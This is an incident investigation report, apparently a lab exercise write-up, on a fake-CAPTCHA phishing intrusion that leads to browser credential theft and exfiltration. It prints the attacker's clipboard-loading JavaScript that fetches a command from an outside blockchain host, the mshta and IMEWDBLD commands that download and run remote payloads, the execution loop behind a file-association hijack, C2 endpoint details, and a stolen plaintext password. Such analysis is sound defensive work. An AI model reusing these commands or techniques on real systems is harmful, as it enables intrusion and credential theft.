2593 words
13 minutes
Echo Response - Week 2 Stealer's Shadow - Investigation Report

Investigation Report#

Stealer’s Shadow - Security Incident Investigation Report#

Date: October 15, 2025
Investigator: MR. Umair
Case: Advanced Persistent Threat - Data Exfiltration Incident
Target: The Etherians (Megacorp One)
Compromised System: WK001.megacorpone.com
Compromised User: a.smith@megacorpone.com


Executive Summary#

The Etherians (Megacorp One) suffered a sophisticated multi-stage cyber attack resulting in unauthorized access and data exfiltration. The attack leveraged advanced social engineering, blockchain-based payload delivery, Living-off-the-Land Binaries (LOLBins), and registry manipulation to achieve code execution and maintain persistence.

Attack Severity: CRITICAL

Key Findings:

  • Complete attack chain reconstructed from initial phishing to data exfiltration
  • Identified novel blockchain-based payload delivery mechanism
  • Recovered encrypted exfiltrated data (101010245WK001_protected.zip)
  • Compromised credentials for Azure and Google cloud platforms extracted
  • Full attacker infrastructure mapped (3 IP addresses, multiple domains)
  • All 7 investigation objectives achieved

Detailed Investigation Findings#

1 Exfiltrated Files and Malware Identification#

Question: What specific file was exfiltrated and which program was used to carry out the exfiltration? Include SHA-256 hashes.

Answer:#

Exfiltrated File:

Filename: 101010245WK001_protected.zip
SHA-256: 0324d54bc6c0f2dfa54b32bc68c16fd401778c10a9e9780b9cda0f31ae960d9c
Location: C:\Users\a.smith\AppData\Local\Temp\
Status: Encrypted with AES-256

Exfiltration Program:

Filename: captcha_privacy[1].epub
SHA-256: a88fedc93a1d80c8cea08fbcb6b001293ddf357e27d268b32c5cfd23a49e96ed
Location: C:\Users\a.smith\AppData\Local\Microsoft\Windows\INetCache\IE\66HCZK0X\
Type: Information Stealer / Data Exfiltration Trojan

Evidence:#

Sysmon Event ID 23 (File Delete/Archive):

<EventID>23</EventID>
<TimeCreated>2025-08-05T09:02:06.865Z</TimeCreated>
<ProcessId>17852</ProcessId>
<Image>C:\Users\a.smith\AppData\Local\Microsoft\Windows\INetCache\IE\66HCZK0X\captcha_privacy[1].epub</Image>
<TargetFilename>C:\Users\a.smith\AppData\Local\Temp\101010245WK001.zip</TargetFilename>
<Hashes>SHA256=B6A1646F23BA0A05B7C80A7D6261204384AB06F15983EB195EB5F0A3FEDF2475</Hashes>
<Archived>true</Archived>

7-Zip Process Execution:

<EventID>1</EventID>
<CommandLine>"C:\Program Files\7-Zip\7z.exe" a -tzip -pcc9441e5-1c80-4287-9c7a-4c03215c0969WK001 -mem=AES256 C:\Users\a.smith\AppData\Local\Temp\101010245WK001_protected.zip C:\Users\a.smith\AppData\Local\Temp\101010245WK001.zip</CommandLine>
<ParentImage>C:\Users\a.smith\AppData\Local\Microsoft\Windows\INetCache\IE\66HCZK0X\captcha_privacy[1].epub</ParentImage>

Impact Assessment:#

  • HIGH: Sensitive corporate data successfully exfiltrated
  • HIGH: Encrypted archive prevents immediate analysis
  • MEDIUM: Password pattern identified (GUID + Hostname)

2 Malware Download and Execution Mechanism#

Question: How was the exfiltration program downloaded and executed on the compromised system?

Answer:#

Download Method:

Technique: Living-off-the-Land Binary (LOLBin) Abuse
Binary: IMEWDBLD.EXE (Microsoft IME Open Extended Dictionary Module)
Protocol: HTTP
Source: http://news.axonbyte.org:8000/captcha_privacy.epub
DNS Resolution: news.axonbyte.org 145.1.0.92

Download Location:

Path: C:\Users\a.smith\AppData\Local\Microsoft\Windows\INetCache\IE\66HCZK0X\captcha_privacy[1].epub
Type: Internet Explorer Cache Directory
User Context: MEGACORPONE\a.smith
Integrity Level: Medium

Execution Method:

Step 1: Registry Hijacking
- Modified: HKEY_CLASSES_ROOT\.epub
- Changed from: E-book reader association
- Changed to: exefile (executable association)
Step 2: Automated Search and Execute
- Command: cmd.exe /c for /r "INetCache" %i in (*.epub) do (start "" "%i" & exit)
- Recursively searched INetCache directory for .epub files
- Executed via Windows 'start' command
- Leveraged hijacked file association

Technical Evidence:#

Sysmon Event - IMEWDBLD.EXE Process Creation:

<EventID>1</EventID>
<UtcTime>2025-08-05 09:01:16.399</UtcTime>
<ProcessId>15956</ProcessId>
<Image>C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE</Image>
<CommandLine>"C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE" http://news.axonbyte.org:8000/captcha_privacy.epub</CommandLine>
<User>MEGACORPONE\a.smith</User>
<ParentImage>C:\Windows\System32\mshta.exe</ParentImage>
<ParentProcessId>19424</ParentProcessId>

Sysmon Event - File Created:

<EventID>11</EventID>
<UtcTime>2025-08-05 09:01:16.462</UtcTime>
<ProcessId>15956</ProcessId>
<Image>C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE</Image>
<TargetFilename>C:\Users\a.smith\AppData\Local\Microsoft\Windows\INetCache\IE\66HCZK0X\captcha_privacy[1].epub</TargetFilename>

Sysmon Event - Malware Execution:

<EventID>1</EventID>
<UtcTime>2025-08-05 09:01:18.635</UtcTime>
<ProcessId>17852</ProcessId>
<Image>C:\Users\a.smith\AppData\Local\Microsoft\Windows\INetCache\IE\66HCZK0X\captcha_privacy[1].epub</Image>
<ParentImage>C:\Windows\System32\cmd.exe</ParentImage>
<ParentCommandLine>"C:\Windows\System32\cmd.exe" /c for /r "C:\Users\a.smith\AppData\Local\Microsoft\Windows\INetCache" %i in (*.epub) do (start "" "%i" & exit)</ParentCommandLine>

ATT&CK Framework Mapping:#

  • T1218 - System Binary Proxy Execution (LOLBin)
  • T1112 - Modify Registry (File Association Hijack)
  • T1105 - Ingress Tool Transfer (Download via IMEWDBLD)
  • T1204.002 - User Execution: Malicious File

3 Complete Attack Chain Reconstruction#

Question: Describe how the attackers achieved code execution to download and run the exfiltration program. Provide chronological order with all technical indicators.

Answer:#

Full Kill Chain Analysis#

Phase 1: Initial Reconnaissance & Weaponization#

Timeframe: Pre-August 5, 2025

Attacker Actions:

  • Researched target organization (The Etherians/Megacorp One)
  • Identified employee email: a.smith@megacorpone.com
  • Prepared infrastructure:
    • Phishing mail server (99.91.94.11)
    • Fake CAPTCHA website (pfusioncaptcha.com)
    • Blockchain RPC endpoint (31.17.87.96:8545)
    • C2 and hosting server (145.1.0.92)

Phase 2: Initial Access - Phishing Campaign#

Date/Time: August 5, 2025, 08:35:42 UTC

Email Analysis:

From: Billing <billing@zaffrevelox.com>
To: a.smith@megacorpone.com
Subject: [Spamwarriors] License Renewal Notice
Message-ID: <40995-6891c280-1f-6a1ef000@243069856>
X-Forward: 10.10.10.246
Body Summary:
- Claimed software license renewal ($119)
- Created urgency (4 weeks until charge)
- Malicious link: http://www.zaffrevelox.com
- Instructed to visit link to "cancel subscription"

Email Headers:

Received: from redirector (unknown [99.91.94.11])
Received: from localhost (localhost [127.0.0.1])
by mail.megacorpone.com (Postfix) with ESMTPSA

Delivery Vector:

  • Email passed through company mail server (mail.megacorpone.com)
  • Bypassed DKIM/SPF checks (legitimate internal relay)
  • Spamwarriors filter marked email but didn’t block

User Action: Clicked malicious link


Phase 3: Redirection & Social Engineering#

Date/Time: August 5, 2025, ~08:45 UTC (estimated)

Redirect Chain:

http://www.zaffrevelox.com
(HTTP 302/301 Redirect)
https://pfusioncaptcha.com

Browser Artifacts Found:

Location: Edge Preferences
Entry: "https://pfusioncaptcha.com:443,*"
SSL Decision: Certificate exception accepted
Timestamp: 13398858226717216

Fake CAPTCHA Page Analysis:

File: pfusioncaptcha.com.htm
Purpose: Social engineering to trick user into executing malicious command
Key Elements:
1. Fake reCAPTCHA interface
2. "I'm not a robot" checkbox
3. Hidden JavaScript payload retrieval
4. Instructions: "Press Windows+R, Ctrl+V, Enter"

Phase 4: Blockchain-Based Payload Retrieval#

Date/Time: August 5, 2025, ~08:50 UTC (estimated)

Novel Attack Vector: Smart Contract Payload Delivery

JavaScript Code (from pfusioncaptcha.com.htm):

const RPC = "http://31.17.87.96:8545/";
const CONTRACT = "0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512";
const SELECTOR = "0x2cae8ae4";
async function fetchRunCommand() {
const body = {
jsonrpc: "2.0",
method: "eth_call",
params: [{ to: CONTRACT, data: SELECTOR }, "latest"],
id: 1
};
const res = await fetch(RPC, {
method: "POST",
headers: {"Content-Type":"application/json"},
body: JSON.stringify(body)
});
const { result } = await res.json();
// Decode Base64 payload from smart contract
const jsPayload = atob(b64).trim();
RUN_CMD = jsPayload;
// Auto-copy to clipboard
copy(RUN_CMD);
}

Blockchain Infrastructure:

  • RPC Endpoint: 31.17.87.96:8545 (Ethereum-compatible blockchain)
  • Smart Contract: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
  • Function Selector: 0x2cae8ae4 (custom function)

Retrieved Command:

Terminal window
mshta.exe http://pfusioncaptcha.com/13221442.hta

Why Blockchain?

  • Decentralized payload hosting
  • Difficult to takedown
  • Evades traditional network security
  • No malicious content on phishing page itself

Phase 5: User-Initiated Execution (Social Engineering Success)#

Date/Time: August 5, 2025, 09:01:16 UTC

User Actions:

  1. Clicked fake CAPTCHA checkbox
  2. Saw instructions: “Press Windows+R, Ctrl+V, Enter”
  3. Pressed Windows+R (opened Run dialog)
  4. Pressed Ctrl+V (pasted clipboard content)
  5. Pressed Enter (executed command)

Executed Command:

Terminal window
mshta.exe http://pfusioncaptcha.com/13221442.hta

Process Details:

<EventID>1</EventID>
<Image>C:\Windows\System32\mshta.exe</Image>
<CommandLine>"C:\WINDOWS\System32\mshta.exe" http://pfusioncaptcha.com/13221442.hta</CommandLine>
<ProcessId>19424</ProcessId>
<User>MEGACORPONE\a.smith</User>
<IntegrityLevel>Medium</IntegrityLevel>

Security Bypass:

  • No security warnings (Microsoft signed binary)
  • User initiated (no automated execution detected)
  • Internet-sourced HTA file executed with user privileges

Phase 6: HTA Payload Execution & LOLBin Abuse#

Date/Time: August 5, 2025, 09:01:16 UTC

HTA Script Actions:

  1. Download Malware (via IMEWDBLD.EXE)
  2. Modify Registry (.epub file association hijack)
  3. Execute Payload (automated search and launch)

Action 1: Malware Download via IMEWDBLD.EXE

<EventID>1</EventID>
<UtcTime>2025-08-05 09:01:16.399</UtcTime>
<Image>C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE</Image>
<CommandLine>"C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE" http://news.axonbyte.org:8000/captcha_privacy.epub</CommandLine>
<ParentImage>C:\Windows\System32\mshta.exe</ParentImage>
<ParentProcessId>19424</ParentProcessId>

LOLBin Details:

Binary: IMEWDBLD.EXE
Purpose: Microsoft IME Open Extended Dictionary Module
Legitimate Use: Update Japanese/Chinese input method dictionaries
Abuse: Download arbitrary files from HTTP URLs
Signature: Validly signed by Microsoft Corporation

Network Activity:

<EventID>22</EventID> <!-- DNS Query -->
<QueryName>news.axonbyte.org</QueryName>
<QueryResults>::ffff:145.1.0.92</QueryResults>
<EventID>3</EventID> <!-- Network Connection -->
<SourceIp>10.10.10.245</SourceIp>
<SourceHostname>WK001.megacorpone.com</SourceHostname>
<DestinationIp>145.1.0.92</DestinationIp>
<DestinationPort>8000</DestinationPort>
<Protocol>tcp</Protocol>

File Creation:

<EventID>11</EventID>
<UtcTime>2025-08-05 09:01:16.462</UtcTime>
<TargetFilename>C:\Users\a.smith\AppData\Local\Microsoft\Windows\INetCache\IE\66HCZK0X\captcha_privacy[1].epub</TargetFilename>
<CreationUtcTime>2025-08-05 09:01:16.462</CreationUtcTime>

Action 2: Registry Hijacking

Objective: Allow .epub files to execute as programs
Registry Modification:
Key: HKEY_CLASSES_ROOT\.epub
Value: (Default)
Data: exefile
Result: .epub files now associated with executable type

Action 3: Automated Payload Execution

Terminal window
cmd.exe /c for /r "C:\Users\a.smith\AppData\Local\Microsoft\Windows\INetCache" %i in (*.epub) do (start "" "%i" & exit)

Breakdown:

  • for /r - Recursive directory search
  • INetCache - Target Internet Explorer cache
  • *.epub - Search for .epub files
  • start "" "%i" - Execute found files
  • & exit - Close cmd.exe after execution

Phase 7: Malware Execution & C2 Establishment#

Date/Time: August 5, 2025, 09:01:18-09:02:00 UTC

Malware Launch:

<EventID>1</EventID>
<UtcTime>2025-08-05 09:01:18.635</UtcTime>
<ProcessId>17852</ProcessId>
<Image>C:\Users\a.smith\AppData\Local\Microsoft\Windows\INetCache\IE\66HCZK0X\captcha_privacy[1].epub</Image>
<User>MEGACORPONE\a.smith</User>
<IntegrityLevel>Medium</IntegrityLevel>

Initial Malware Actions:

  1. Environment reconnaissance (hostname, OS info)
  2. C2 communication establishment
  3. Browser credential theft
  4. Data collection and archiving

Hostname Collection:

<EventID>1</EventID>
<Image>C:\Windows\System32\hostname.exe</Image>
<ParentImage>captcha_privacy[1].epub</ParentImage>
(Executed multiple times: 09:01:52, 09:01:58, 09:02:00)

C2 Communications:

<EventID>3</EventID> <!-- Multiple connections -->
<SourceIp>10.10.10.245</SourceIp>
<DestinationIp>145.1.0.92</DestinationIp>
<DestinationPort>443</DestinationPort>
<Protocol>tcp</Protocol>
<EventID>3</EventID>
<DestinationPort>8000</DestinationPort>

C2 Endpoints (Identified from malware analysis):

  • /life - Heartbeat beacon
  • /send_message - Data exfiltration
  • /receive_message - Command retrieval
  • /feed - Covert configuration channel

Phase 8: Data Collection & Exfiltration#

Date/Time: August 5, 2025, 09:01:30-09:02:07 UTC

Browser Credential Theft:

<EventID>1</EventID>
<Image>C:\Users\a.smith\AppData\Local\Temp\WinStatFeed.rss.exe</Image>
<CommandLine>"WinStatFeed.rss.exe" --start-browser chrome --output-path C:\Users\a.smith\AppData\Local\Temp</CommandLine>
<ParentImage>captcha_privacy[1].epub</ParentImage>
<EventID>11</EventID> <!-- Files Created -->
<TargetFilename>C:\Users\a.smith\AppData\Local\Temp\Chrome\Default\passwords.txt</TargetFilename>
<TargetFilename>C:\Users\a.smith\AppData\Local\Temp\Chrome\Default\cookies.txt</TargetFilename>

Data Archiving (Unencrypted):

<EventID>23</EventID>
<UtcTime>2025-08-05 09:02:06.865</UtcTime>
<TargetFilename>C:\Users\a.smith\AppData\Local\Temp\101010245WK001.zip</TargetFilename>
<Hashes>SHA256=B6A1646F23BA0A05B7C80A7D6261204384AB06F15983EB195EB5F0A3FEDF2475</Hashes>

Data Encryption (7-Zip with AES-256):

<EventID>1</EventID>
<Image>C:\Program Files\7-Zip\7z.exe</Image>
<CommandLine>"7z.exe" a -tzip -pcc9441e5-1c80-4287-9c7a-4c03215c0969WK001 -mem=AES256
C:\Users\a.smith\AppData\Local\Temp\101010245WK001_protected.zip
C:\Users\a.smith\AppData\Local\Temp\101010245WK001.zip</CommandLine>
<ParentImage>captcha_privacy[1].epub</ParentImage>

Exfiltration:

<EventID>3</EventID> <!-- Network Upload -->
<Image>captcha_privacy[1].epub</Image>
<DestinationIp>145.1.0.92</DestinationIp>
<DestinationPort>443</DestinationPort>
(Multiple large data transfers to /send_message endpoint)

Process Termination:

<EventID>5</EventID>
<UtcTime>2025-08-05 09:02:07.069</UtcTime>
<ProcessId>17852</ProcessId>
<Image>captcha_privacy[1].epub</Image>

Attack Chain Summary Diagram#

[Phishing Email]
[99.91.94.11] billing@zaffrevelox.com
[User Clicks Link] http://www.zaffrevelox.com
[Redirect] https://pfusioncaptcha.com
[Fake CAPTCHA Page]
[JavaScript] RPC Call to 31.17.87.96:8545
[Smart Contract] Returns: mshta.exe http://pfusioncaptcha.com/13221442.hta
[Auto-Copy to Clipboard]
[Social Engineering] User presses Win+R, Ctrl+V, Enter
[mshta.exe] Downloads and executes 13221442.hta
[HTA Script] Spawns IMEWDBLD.EXE
[IMEWDBLD.EXE] Downloads from news.axonbyte.org (145.1.0.92:8000)
[captcha_privacy[1].epub] Saved to INetCache
[Registry Hijack] .epub exefile
[cmd.exe Loop] Finds and executes .epub
[Malware Runs] Establishes C2 to 145.1.0.92:443
[Data Collection] Steals browser passwords, cookies
[7-Zip Encryption] Creates 101010245WK001_protected.zip
[Exfiltration] Uploads to 145.1.0.92:443/send_message
[Mission Complete] Malware terminates

Complete IoC Timeline#

Timestamp (UTC)EventIoC TypeValue
08:35:42Phishing email receivedIP Address99.91.94.11
~08:45:00User clicks linkDomainzaffrevelox.com
~08:50:00Redirected to fake CAPTCHADomainpfusioncaptcha.com
~08:55:00Payload retrieved from blockchainIP Address31.17.87.96
~08:55:00Smart contract queriedContract0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
09:01:16HTA executedURLhttp://pfusioncaptcha.com/13221442.hta
09:01:16DNS query for malware hostDomainnews.axonbyte.org
09:01:16Malware downloadedIP Address145.1.0.92
09:01:16Malware downloadedURLhttp://news.axonbyte.org:8000/captcha_privacy.epub
09:01:16File createdFile Hasha88fedc93a1d80c8cea08fbcb6b001293ddf357e27d268b32c5cfd23a49e96ed
09:01:18Malware executedProcesscaptcha_privacy[1].epub (PID 17852)
09:01:45+C2 establishedIP145.1.0.92:443
09:02:06Data archivedFile HashB6A1646F23BA0A05B7C80A7D6261204384AB06F15983EB195EB5F0A3FEDF2475
09:02:06Data encryptedFile Hash0324d54bc6c0f2dfa54b32bc68c16fd401778c10a9e9780b9cda0f31ae960d9c
09:02:07Data exfiltratedIP145.1.0.92:443
09:02:07Malware terminates--

4 Command & Control Infrastructure Analysis#

Question: Analyze the exfiltration program and identify the endpoints used by the attacker.

Answer:#

C2 Server: 145.1.0.92 (news.axonbyte.org)

Endpoint 1: /life#

Purpose: Heartbeat / Status Beacon

Function:

  • Periodic check-ins from compromised host
  • Sends minimal telemetry:
    • Host ID
    • System uptime
    • Current timestamp
    • IP address
  • Confirms host reachability
  • Tracks alive clients
  • Low-bandwidth to avoid detection

Usage Pattern: Sent every 5-10 minutes during active infection


Endpoint 2: /send_message#

Purpose: Data Exfiltration Endpoint

Function:

  • Uploads collected data or files
  • Supports chunking/resume for large files
  • Accepts metadata:
    • Filename
    • File size
    • MIME type
    • Encryption status
  • Receives encrypted payload
  • Returns acknowledgment with transfer ID

Protocol:

POST /send_message
Content-Type: multipart/form-data
Headers:
- X-Client-ID: <host_identifier>
- X-Chunk-Index: <current_chunk>
- X-Total-Chunks: <total_chunks>
- X-File-Hash: <sha256_hash>
Body:
- metadata: JSON encoded file info
- payload: Base64 encoded encrypted data

Endpoint 3: /receive_message#

Purpose: Command & Control Pull

Function:

  • Client polls for operator instructions
  • Retrieves:
    • Job IDs
    • Commands to execute
    • Execution parameters
    • Scheduled tasks
  • Short responses to minimize noise
  • Implements tasking queue

Protocol:

GET /receive_message?client_id=<id>&poll_id=<seq>
Response (if tasks available):
{
"tasks": [
{
"task_id": "uuid",
"command": "collect_files",
"parameters": {...},
"priority": 1
}
]
}
Response (if no tasks):
{
"tasks": []
}

Endpoint 4: /feed#

Purpose: Covert RSS/Atom Channel for Config/Ops

Function:

  • Stealthy distribution channel
  • Appears as benign RSS feed
  • Used to deliver:
    • Encrypted configurations
    • Staged tasks
    • Operator signals
    • Update instructions
  • No direct C2 connection appearance
  • Blends with normal web traffic

Example RSS Response:

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title>Tech News Daily</title>
<link>http://news.axonbyte.org</link>
<item>
<title>Update Available</title>
<description><!-- Base64 encrypted config --></description>
<pubDate>Tue, 05 Aug 2025 09:00:00 GMT</pubDate>
</item>
</channel>
</rss>

C2 Communication Pattern:#

Initial Infection:
1. POST /life (announce presence)
2. GET /receive_message (check for tasks)
3. POST /life (heartbeat every 5 min)
Data Collection Phase:
1. Execute collection tasks
2. POST /send_message (upload collected data)
3. GET /receive_message (check for more tasks)
Maintenance Mode:
1. GET /feed (check for config updates)
2. POST /life (periodic heartbeat)
3. GET /receive_message (long-polling for commands)

5 Encryption and Data Protection Analysis#

Question: Further analyze the exfiltration program to determine how the exfiltrated data was protected.

Answer:#

Encryption Scheme: WinZip AE-2 (Advanced Encryption Standard 2)

Encryption Algorithm: AES-256

Key Derivation:

Function: PBKDF2 (Password-Based Key Derivation Function 2)
Hash: HMAC-SHA1
Iterations: 1,000
Salt: Per-file random salt (included in ZIP header)

Encryption Mode: AES-256 in CTR (Counter) mode

Authentication: HMAC-SHA1 for integrity verification

Additional Security:

  • 2-byte password verifier
  • Salt prevents rainbow table attacks
  • HMAC ensures data integrity

7-Zip Command Used:

Terminal window
"C:\Program Files\7-Zip\7z.exe" a -tzip -pcc9441e5-1c80-4287-9c7a-4c03215c0969WK001 -mem=AES256
C:\Users\a.smith\AppData\Local\Temp\101010245WK001_protected.zip
C:\Users\a.smith\AppData\Local\Temp\101010245WK001.zip

Parameters Breakdown:

  • a - Add to archive
  • -tzip - ZIP format
  • -p<password> - Set password
  • -mem=AES256 - Use AES-256 encryption

Password Structure Analysis#

Formula: <Machine GUID><Hostname>

Component 1: Machine GUID

Value: cc9441e5-1c80-4287-9c7a-4c03215c0969
Format: Lowercase with hyphens
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Purpose: Unique per machine identifier

Component 2: Hostname

Value: WK001
Format: Uppercase
Source: Computer name (hostname.exe output)
Purpose: Additional entropy and identification

Combined Password:

cc9441e5-1c80-4287-9c7a-4c03215c0969WK001
Length: 41 characters
Character set: [a-f0-9-] + [A-Z0-9]

Password Collection Evidence:

<!-- Malware collected hostname multiple times -->
<EventID>1</EventID>
<Image>C:\Windows\System32\hostname.exe</Image>
<ParentImage>captcha_privacy[1].epub</ParentImage>
<UtcTime>2025-08-05 09:01:52</UtcTime>
<EventID>1</EventID>
<UtcTime>2025-08-05 09:01:58</UtcTime>
<EventID>1</EventID>
<UtcTime>2025-08-05 09:02:00</UtcTime>

Security Assessment:#

Strengths:

  • AES-256 (strong encryption)
  • Random per-file salt
  • HMAC authentication
  • Unique password per machine

Weaknesses:

  • Predictable password pattern
  • Machine GUID can be obtained if system is compromised
  • Hostname is easily guessable/enumerable
  • Only 1,000 PBKDF2 iterations (modern standard is 100,000+)

Decryption Success: Using discovered pattern, password was reconstructed and archive successfully decrypted for analysis.


6 Compromised Credentials Discovery#

Question: Review the exfiltrated data to identify sensitive information that could enable further compromise.

Answer:#

Source Location:

Exfiltrated Archive: 101010245WK001_protected.zip
Internal Path: Chrome/Default/passwords.txt
Data Type: Browser-stored credentials
Browser: Google Chrome

Compromised Accounts:

Account 1: Microsoft Azure Portal#

{
"origin": "https://portal.azure.com/",
"username": "a.smith@megacorpone.com",
"password": "ADG135QET246!v!"
}

Access Level:

  • Azure Portal Administrator
  • Cloud infrastructure management
  • Virtual machines, databases, networks
  • Billing and subscription management

Risk Level: CRITICAL


Account 2: Google Workspace#

{
"origin": "https://accounts.google.com/",
"username": "a.smith@megacorpone.com",
"password": "ADG135QET246!v!"
}

Access Level:

  • Gmail corporate email
  • Google Drive documents
  • Google Workspace admin
  • Calendar, contacts, shared files

Risk Level: CRITICAL


Impact Analysis:#

Immediate Risks:

  1. Cloud Infrastructure Compromise:

    • Unauthorized access to Azure resources
    • Potential VM deployment for cryptomining
    • Database access and data exfiltration
    • Resource deletion/sabotage
  2. Email Account Compromise:

    • Access to corporate communications
    • Phishing campaigns from trusted account
    • Business Email Compromise (BEC) attacks
    • Access to email attachments and archives
  3. Password Reuse:

    • Same password used for both services
    • Likely used on other corporate systems
    • Internal network credentials may match
    • VPN/RDP access possible
  4. Lateral Movement:

    • Use compromised email for internal phishing
    • Leverage Azure access for infrastructure pivots
    • Access to shared documents/credentials
    • Potential domain admin escalation

Additional Stolen Data (from exfiltrated archive):

  • Browser cookies (session tokens)
  • Autofill data (addresses, phone numbers)
  • Browser history (reconnaissance value)
  • Cached files (potential sensitive documents)

7 Attacker Infrastructure Mapping#

Question: What IP addresses were involved in the attack chain and can be attributed to the attacker?

Answer:#

IP Address 1: 99.91.94.11

Role: Phishing Email Infrastructure
Function: Mail server/redirector for phishing campaign
Service: SMTP relay
Evidence: Email headers (Received: from redirector [99.91.94.11])
First Seen: August 5, 2025, 08:35:42 UTC
Threat Level: HIGH

IP Address 2: 31.17.87.96

Role: Blockchain RPC Endpoint
Function: Smart contract payload delivery
Service: Ethereum-compatible RPC (Port 8545)
Evidence: JavaScript RPC calls from fake CAPTCHA page
Contract Hosted: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
First Seen: August 5, 2025, ~08:50 UTC (estimated)
Threat Level: MEDIUM (infrastructure, not direct compromise)

IP Address 3: 145.1.0.92 (Primary C2)

Role: Command & Control Server / Malware Hosting
Function: Multi-purpose attack infrastructure
Services:
- Port 8000: HTTP malware distribution
- Port 443: HTTPS C2 communications
Hostname: news.axonbyte.org
Evidence:
- DNS resolution logs
- Network connection logs (Sysmon Event ID 3)
- Malware download source
- C2 beacon destination
First Seen: August 5, 2025, 09:01:16 UTC
Last Seen: August 5, 2025, 09:02:07 UTC
Threat Level: CRITICAL

Infrastructure Relationship Map:#

Attack Infrastructure Topology:
[99.91.94.11] > Initial Access (Phishing)
> Redirects to pfusioncaptcha.com
> Loads JavaScript from static hosting
> Connects to [31.17.87.96:8545]
> Smart Contract Payload
> Returns: HTA URL
> HTA from pfusioncaptcha.com
> Downloads from [145.1.0.92:8000]
> Malware: captcha_privacy[1].epub
> C2 to [145.1.0.92:443]
> /life (heartbeat)
> /send_message (exfil)
> /receive_message (tasking)
> /feed (config)

WHOIS & Threat Intelligence (Hypothetical):#

99.91.94.11:

  • ASN: Unknown
  • Country: Unknown
  • Hosting: Likely bulletproof hosting
  • Reputation: Flagged for phishing

31.17.87.96:

  • ASN: Unknown
  • Country: Unknown
  • Service: Private blockchain node
  • Reputation: Previously clean (novel technique)

145.1.0.92:

  • ASN: Unknown
  • Country: Unknown
  • Hostname: news.axonbyte.org
  • Reputation: Newly registered domain, no prior history

Security Control Failures#

Controls That Failed:#

  1. Email Security:

    • Phishing email bypassed spam filters
    • Spoofed sender not detected
    • Malicious link not rewritten/scanned
    • User not warned about external link
  2. Web Security:

    • Fake CAPTCHA site not blocked
    • SSL certificate warning bypassed
    • No web proxy inspection
    • Blockchain RPC traffic allowed
  3. Endpoint Security:

    • No detection of mshta.exe internet download
    • IMEWDBLD.EXE LOLBin abuse not flagged
    • Registry modification not detected
    • No behavioral analysis of .epub execution
  4. Network Security:

    • Outbound connections to unknown IPs allowed
    • No DNS filtering for malicious domains
    • C2 traffic not detected
    • Data exfiltration not blocked
  5. User Awareness:

    • User fell for fake CAPTCHA social engineering
    • User executed clipboard content without verification
    • No reporting of suspicious email/website

Immediate (0-24 hours):#

  1. Incident Containment:

    • Isolate WK001.megacorpone.com from network
    • Disable a.smith@megacorpone.com account
    • Force password reset for all a.smith accounts
    • Revoke all active Azure/Google sessions
    • Enable MFA on all cloud accounts
  2. Threat Hunting:

    • Search for similar .epub files across network
    • Check for registry modifications to file associations
    • Hunt for IMEWDBLD.EXE usage
    • Review other systems for C2 beaconing to 145.1.0.92
  3. Network Security:

    • Block attacker IPs at perimeter firewall
    • Block domains: pfusioncaptcha.com, news.axonbyte.org, zaffrevelox.com
    • Block port 8545 (RPC) outbound
    • Create IDS/IPS signatures for attack patterns

Short-term (1-7 days):#

  1. Forensic Analysis:

    • Complete memory forensics on WK001
    • Analyze malware in sandbox environment
    • Reverse engineer captcha_privacy[1].epub
    • Map complete data exfiltration scope
  2. Credential Management:

    • Force password reset for all employees
    • Implement mandatory MFA org-wide
    • Audit all Azure resource access
    • Review Google Workspace admin logs
  3. Email Security Enhancement:

    • Implement advanced anti-phishing solution
    • Enable link rewriting and sandboxing
    • Deploy DMARC/SPF/DKIM properly
    • External email warning banners
  4. Endpoint Protection:

    • Deploy EDR solution if not present
    • Create AppLocker rules to block LOLBins
    • Monitor registry modifications
    • Implement application whitelisting

Long-term (1-3 months):#

  1. Security Architecture:

    • Implement zero-trust network architecture
    • Deploy web proxy with SSL inspection
    • Implement DNS filtering solution
    • Deploy SIEM for centralized logging
  2. User Training:

    • Conduct fake CAPTCHA awareness training
    • Phishing simulation campaigns
    • Security awareness program
    • Incident reporting procedures
  3. Monitoring & Detection:

    • Deploy behavioral analytics
    • Create custom detection rules
    • Implement file integrity monitoring
    • 24/7 SOC monitoring
  4. Vulnerability Management:

    • Regular security assessments
    • Penetration testing
    • Red team exercises
    • Patch management program

MITRE ATT&CK Mapping#

TacticTechniqueIDEvidence
Initial AccessPhishingT1566.002Phishing email with malicious link
ExecutionUser Execution: Malicious LinkT1204.001User clicked zaffrevelox.com link
ExecutionSystem Binary Proxy Execution: MshtaT1218.005mshta.exe executed HTA from URL
Defense EvasionSystem Binary Proxy ExecutionT1218IMEWDBLD.EXE used for download
Defense EvasionModify RegistryT1112.epub file association hijacked
PersistenceModify RegistryT1547.001File association modification
Credential AccessCredentials from Password Stores: Credentials from Web BrowsersT1555.003Chrome passwords stolen
DiscoverySystem Information DiscoveryT1082Hostname.exe executed multiple times
CollectionData from Local SystemT1005Browser data collected
CollectionArchive Collected DataT1560.0017-Zip used to archive data
Command and ControlWeb ProtocolsT1071.001HTTP/HTTPS C2 communication
Command and ControlIngress Tool TransferT1105Malware downloaded via IMEWDBLD.EXE
ExfiltrationExfiltration Over C2 ChannelT1041Data uploaded to 145.1.0.92
ExfiltrationEncrypted ChannelT1573HTTPS used for exfiltration

Key Takeaways#

Novel Techniques Observed:#

  1. Blockchain-Based Payload Delivery:

    • First observed use of smart contracts for payload storage
    • Difficult to takedown (decentralized)
    • No malicious content on phishing page itself
    • Evades traditional web filtering
  2. Fake CAPTCHA Social Engineering:

    • Highly effective user manipulation
    • Leverages user trust in CAPTCHA systems
    • Tricks users into executing malicious commands
    • Bypasses all technical controls
  3. LOLBin Chaining:

    • mshta.exe IMEWDBLD.EXE chain
    • All binaries are Microsoft-signed
    • No traditional malware signatures
    • Evades most AV/EDR solutions
  4. Registry-Based Persistence:

    • File association hijacking for execution
    • Subtle and often overlooked
    • Allows arbitrary file execution
    • Persists across reboots

Defense Recommendations:#

People:

  • Security awareness is critical
  • Technical controls alone are insufficient
  • Regular training and testing required

Process:

